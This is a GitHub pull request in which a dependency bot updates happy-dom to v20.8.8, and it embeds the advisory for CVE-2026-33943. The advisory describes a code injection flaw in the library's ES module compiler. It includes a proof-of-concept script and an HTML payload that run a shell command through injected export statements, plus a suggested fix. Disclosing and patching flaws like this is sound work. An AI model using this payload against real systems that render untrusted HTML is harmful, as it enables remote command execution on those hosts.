Skip to content

chore(deps): update dependency happy-dom to v20.8.8 [security]#25

Merged
wgordon17 merged 1 commit intomainfrom
renovate/npm-happy-dom-vulnerability
Mar 28, 2026
Merged

chore(deps): update dependency happy-dom to v20.8.8 [security]#25
wgordon17 merged 1 commit intomainfrom
renovate/npm-happy-dom-vulnerability

Conversation

@khepri-bot
Copy link
Copy Markdown
Contributor

@khepri-bot khepri-bot bot commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.8.420.8.8 age confidence

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

CVE-2026-33943 / GHSA-6q6h-j7hj-3r64

More information

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v20.8.8

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
    • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

👷‍♂️ Patch fixes
  • Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

Compare Source

👷‍♂️ Patch fixes

v20.8.5

Compare Source

👷‍♂️ Patch fixes

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@khepri-bot khepri-bot bot added the renovate label Mar 27, 2026
@wgordon17 wgordon17 merged commit 2faf4a5 into main Mar 28, 2026
2 checks passed
@khepri-bot khepri-bot bot deleted the renovate/npm-happy-dom-vulnerability branch March 29, 2026 02:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant